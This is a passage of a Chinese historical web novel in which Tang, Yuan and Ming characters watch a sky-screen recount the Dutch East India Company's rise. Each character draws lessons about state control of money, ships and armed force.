“为了稳住价,荷兰人一次烧掉几万斤肉豆蔻。香料的味道飘到海面上,几十里外都能闻到。”
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【唐·贞观,长安】
中书省的值房里,几位官员正在拟定明年的边防方略。
天幕上,数字浮出来:一百五十艘货船。四十艘战船。两万人。
“这是东印度商号十七世纪中期的家底。两万人里,一半以上是兵和水手。”
一位姓裴的中书舍人手里的笔停了。
他盯着那个数字——两万兵。一家商号,养了两万兵。
裴舍人忽然开口:“这家商号的朝廷,不管它?”
旁边的官员愣了一下:“天幕上说,这商号有权宣战、占地、签条约。是朝廷给的权。”
“朝廷给的?”裴舍人皱起眉头,“朝廷给一家商号宣战权、养兵权?这不是把刀把子交给别人吗?”
他想起了本朝的事。武德年间,有商人私藏甲胄,被查出后满门抄斩。太宗皇帝登基后,重申禁令:私藏甲一领,徒三年;甲三领,绞。商号养兵,那是诛九族的罪。
可这家商号的朝廷,不但不禁止,还给权。
裴舍人摇了摇头:“这国不怕商号造反吗?有钱、有船、有兵、有地盘,凭什么还听朝廷的?”
没人答得上来。
裴舍人自己想了想,又说:“要么是这朝廷管得住,要么是这朝廷管不了。管得住,说明朝廷比商号更强。管不了,那这朝廷离亡国也不远了。”
他顿了顿,低头看着自己拟了一半的边防方略。
纸上写着:“府兵之制,兵农合一,无事耕作,有事征调。”
他忽然觉得,大唐的规矩是对的。兵权,必须握在朝廷手里。给商号,给个人,都是取乱之道。
他把那张纸拿起来,继续往下写。
旁边的人问:“裴大人,这外国的事,不看了?”
裴舍人头也没抬:“看了。看了才知道,咱们的规矩是对的。”
天幕上,东印度商号的旗子还在插下去。裴舍人没再看。
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数字浮出来:一百五十艘货船。四十艘战船。两万人。
“这是东印度商号十七世纪中期的家底。两万人里,一半以上是兵和水手。它不是商号,是支私人的水师。葡萄牙在亚洲兵力最盛时,不过一万人。一家商号,比一个国家还能打。”
画面一分为二。
左边是葡萄牙的修道院,修了一半,空荡荡的。右边是东印度商号的船坞,几十艘船同时在造,木屑纷飞,锤声如雷。
“葡萄牙人把赚的利钱砌进了教堂的石头里。荷兰人把利钱浇进了船坞的水里。石头不会变多,船会。”
【元·至元年间,大都】
户部衙门的值房里,姚侍郎正在核对今年的盐税收支。
葡萄牙人赚了一百多年的钱,可钱花错了地方——养舰队、修堡垒、建总督府,五十多个据点把利润吃了个干净。等荷兰人打上门来,船旧了,炮少了,兵不够了。
姚侍郎想起斡脱钱。这是大元特有的规矩
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——从成吉思汗时就有的旧制,大汗、诸王拿出本钱,交给西域商人去放贷、去做买卖。年息百分之百,次年转本,十年之后,一锭银能滚出一千零二十四锭。民间叫它“羊羔息”。
窝阔台汗曾下诏限制利息,可诏令不过是一纸空文。
至元十九年,朝廷发钞两万锭,让斡脱商人出海贸易。赚了钱官商分账,赔了钱商人拿家产抵。泉州市舶司的账上,每年都有几十万锭从这条路上来。
可这些钱进了库,转手就支走了——修大都城、建上都宫室、赏赐功臣、打日本、征安南。花完了,明年再借。
斡脱商人赚了钱,自己留一份,朝廷拿一份。朝廷拿的那份花完了就没了。商人留的那份呢?买地、放贷、捐官。没有人拿去造船、招兵、开辟新商路。
至元九年,真定路百姓欠斡脱钱,官府代还了一万三千锭。
不是朝廷仁慈,是百姓还不起。大德二年,杭州路一百四十多户人家,因为有人借了斡脱钱还不上,官府连坐追索,逼得当差户逃的逃、死的死。
斡脱总管府、泉府司,一个接一个地设,斡脱商人的生意越做越大,百姓的债越背越重。
朝廷从斡脱钱里拿到的银子,换来了大都城的宫墙和漠北的军粮。可这些宫墙和军粮,不会生出新的银子。
姚侍郎忽然明白了。大元的斡脱官钱,看着是官商合本,其实是朝廷借商人的手,把未来的税银提前花掉了。
商人的钱本来是活的,可朝廷的规矩把它弄死了——只让钱生息,不让钱生船。没有船,就没有更多的货。
没有货,就没有更多的钱。朝廷以为自己在经商,其实只是在放贷。
放贷的钱,利息再高,也有收完的一天。荷兰人的钱,投在船上,船会生出货,货会生出更多的船。那是生生不息的活钱。
葡萄牙人的钱死在堡垒和教堂里,大元的钱死在斡脱钱的账本里。
一个花在了维持帝国上,一个花在了扩张帝国上。花完了,都没了。
斡脱钱不是没有赚到钱,是赚到的钱从来没有变成过能继续赚钱的东西。
姚侍郎想,大元的问题不在钱少,在钱死了。朝廷的规矩,从根子上就不让钱活过来。盐税是死的,市舶税是死的,斡脱钱也是死的。每一文钱进了国库,就注定了要被花掉,而不是被种下去。
葡萄牙人至少还种过——他们种下了舰队、堡垒、商站,只是种错了地方,种在了维持帝国上,没种在让钱生钱上。
大元连种都没种过,只知道收,不知道种。收了百姓的,花在打仗上。收了番商的,花在修城上。收了斡脱的,花在赏赐上。从来没有一文钱,被种下去,等着它长出更多的钱。
他把账册推到一边。
窗外,天黑了,户部的灯还亮着,可灯油总有烧完的一天。
大元的银子,也一样。
32.第 32 章
最后一行字缓缓出现:东印度商号——两百年。
“东印度商号从1602年活到1799年,将近两百年。两百年是什么概念?很多王朝寿命都没这么长。它给东家们分了多少钱?”
【大明·万历,泉州】
天幕上的画面流转,泉州厅堂里鸦雀无声。
陈德隆身子往前倾了倾。
六千七百个商人凑钱,凑出来的本钱,比葡萄牙人一百年攒的还多。
他做了一辈子生意,当然知道这意味着什么。
“安汶。三天拿下。”
“三天?”
厅堂里有人忍不住出声。陈德隆没回头,眼睛死死盯着天幕。
“马六甲。1641年。围了六个月,葡萄牙守军投降。”
陈德隆的手微微发抖。
不是因为害怕。是因为他突然意识到一件事——天幕上说的这些事,正在发生。荷兰人万历三十二年就来过澎湖,后来被赶走了。
但他们迟早还会再来。
画面又变了。看上去是一座岛,岛上只剩一片树林,树林旁边立着寨子,岛周围有船巡逻。
“这是班达群岛,肉豆蔻的唯一产地。荷兰人占了之后,把岛上的人赶走,把肉豆蔻树砍光,只留一个岛种。”
几个做香料生意的商人互相看了一眼。有人脸色白了。
陈德隆没看他们。他在想,荷兰人来了之后,会不会也这么对大明?
不会。大明不是班达群岛,大明有朝廷,有兵,有船。可大明的兵船,管得了泉州港,管得了南洋吗?
他不知道。
“这是东印度商号十七世纪中期的家底。两万人里,一半以上是兵和水手。它不是商号,是支私人的水师。葡萄牙在亚洲兵力最盛时,不过一万人。一家商号,比一个国家还能打。”
画面一分为二。左边是葡萄牙的修道院,修了一半,空荡荡的。右边是东印度商号的船坞,几十艘船同时在造,木屑纷飞,锤声如雷。
“葡萄牙人把赚的利钱砌进了教堂的石头里。荷兰人把利钱浇进了船坞的水里。石头不会变多,船会。”
陈德隆猛地拍了一下椅子扶手。
“说得好!”
厅堂里几个人被他吓了一跳。
“东印度商号从1602年活到1799年,将近两百年。两百年是什么概念?很多王朝寿命都没这么长。它给东家们分了多少钱?据史料记载,十八世纪之前,一年下来,一百两本钱拿十八两利钱。你投一百两,每年拿十八两。”
陈德隆慢慢坐回椅子上。
两百年。一家商号,竟然能做了两百年。
他想起刚才那些画面。西班牙人挖银子,挖了一亿六千万两,打没了。葡萄牙人运香料,赚的钱修教堂修没了。荷兰人凑了一笔本钱,投进去,买船、招兵、打仗、占地盘、赚更多的钱,再投进去。一圈一圈转下去,转了两百年。
---
留言板上弹幕似雪花飞过而过。
【西葡之财,尽归于王。王用之如泥沙,散之如流水。荷兰之财,尽归于商。商用之如种子,播之复生。财归一人与财归众人,其用不同,其效亦不同。】
【荷兰之制,合本以聚财,聚财以养兵,养兵以拓地,拓地以兴利,兴利以分财,分财复合本。此制自成一体,循环不息。】
【西葡以国为商,荷兰以商为国。一国一商,其势天渊。】
【……】
天幕暗了很久,厅堂里还是没有人说话。
陈德隆慢慢弯下腰,捡起地上的信。他把信折好,塞进袖子里,端起茶盏,发现茶凉了,又放下。
“两百年。”他说,“一家商号,竟然能做了两百年。”
“老爷子,”刚才那个年轻人又开口了,“这荷兰人是不是比西班牙人聪明?”
陈德隆看了他一眼,摇了摇头。
“不是聪明。是他们把钱用在了不一样的地方。”
他站起来,走到窗前。窗外,北风起来了。
“西班牙人的银子是挖出来的,挖完就没了。葡萄牙人的香料是运回来的,卖了花掉就没了。荷兰人的钱是转起来的——船运货,货换钱,钱买船,船再运货。投出去的钱,会自己长大。”
他转过身,看着厅堂里几个人。
“咱们的生意,为什么越做越难?不是因为洋人太狠。是因为咱们的钱,花出去就没了。买船、雇人、交税、打点官府,花完了就完了。可荷兰人的钱,花出去,还会自己长回来。”
他沉默了一会儿,忽然问了一句:
“天幕上说,荷兰人占了马六甲。马六甲现在在谁手里?”
年轻人愣了一下:“葡萄牙人吧……”
“对。葡萄牙人。”陈德隆点了点头,“天幕上说,那是几十年后的事。现在是万历年间,离那事还有几十年。”
他顿了顿。
“可荷兰人已经来了。万历三十二年就来过澎湖,被沈有容赶走了。他们迟早还会再来。这会儿他们在爪哇、摩鹿加已经站住了脚,迟早要跟葡萄牙人争马六甲。”
他回到桌前,拿起那份马尼拉的信,翻来覆去地看着。
“西班牙人现在加税。荷兰人还没成大气候。可天幕说,荷兰人会赢。等他们赢了,会怎样?税比西班牙人低,可他们的兵船堵在路上。你不去他们的码头,他们就在半路上截你。”
他把信放下,没有烧。
“去年我想买炮船,府衙不让,我就认了。可今天看了天幕,我在想——我认的是府衙的规矩,还是海上的规矩?”
他抬起头,看着窗外。
“府衙的规矩,是府衙定的。海上的规矩,是谁拳头大谁定的。葡萄牙人拳头大的时候,规矩是他们的。西班牙人拳头大的时候,规矩是他们的。天幕上说,以后荷兰人拳头大,规矩是荷兰人的。”
他转过身,看着厅堂里几
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个人。
“咱们的拳头不够大,所以只能认别人的规矩。可认了规矩,生意还是难做。今天加三成,明天加三成,后天呢?”
年轻人问:“那咱们怎么办?”
陈德隆没回答。他想了很久。
“天幕上说,荷兰人会赢。可那是几十年后的事。这几十年里,南洋还是葡萄牙人、西班牙人的地盘,荷兰人刚来,还没成大气候。咱们跟葡、西做了几十年生意,路数清楚,人面熟悉。说换就换,没那么容易。”
他顿了顿。
“可什么都不做,等着荷兰人来了再想办法,也不行。”
他沉默了一会儿,又说:
“明年,我打算凑一笔钱,跟几个相熟的商号合在一起,买几条船。不去马尼拉了,也不去荷兰人的码头。咱们自己找码头,自己开路。府衙不让养兵船,咱们就不在府衙的码头上养。开到外海去,大明的官管不到的地方。”
年轻人急了:“老爷子,这要是被官府知道了——”
“知道了又怎样?”陈德隆看着他,“官府能帮咱们把荷兰人赶走吗?不能。那官府管得了咱们在外海做什么吗?也管不了。”
他顿了顿,又说:
“我不是要跟谁打。我是想,咱们得有自己的船,自己的路。葡萄牙人、西班牙人、荷兰人,谁拳头大谁说了算。咱们拳头不够大,但至少不能连拳头都没有。”
他把那份马尼拉的信拿起来,看了一眼,又放下了。没有烧。
“这信留着。西班牙人加三成税的事,咱们记着。天幕上说的事,咱们也记着。以后怎么走,走着看。该跟谁做生意,跟谁做。该躲谁,躲谁。”
他抬起头,看着窗外黑沉沉的天。
“可还有一件事,”他忽然说,“天幕上这些东西,朝廷迟早也会知道。”
厅堂里安静了下来。
“朝廷知道了会怎样?”年轻人问。
陈德隆摇了摇头。
“不知道。也许会禁海,怕洋人进来。也许会开海,想学荷兰人的法子。也许会跟咱们想的一样,买船、练兵、跟洋人争。”
他顿了顿。
“可不管朝廷怎么定,咱们都得先想好自己的路。朝廷开海,咱们有船。朝廷禁海,咱们在外海也有船。朝廷跟洋人争,咱们有船跟着。朝廷不争,咱们自己争。”
他把那份信塞进袖子里。
“明天我去找老李他们商量商量。天幕上这事,不能只有咱们知道。几家合在一起,船多了,路就宽了。”
他走到窗前,推开窗户。北风灌进来,烛火晃了晃,没灭。
“钱是活的。可人不能太急。急了大海不饶人。”
---
泉州港的船队该回来了。今年的账还没算完。
但所有人的心思都在那个已经暗掉的天幕上。
还有陈德隆最后说的那句话——
“钱是活的。可人不能太急。”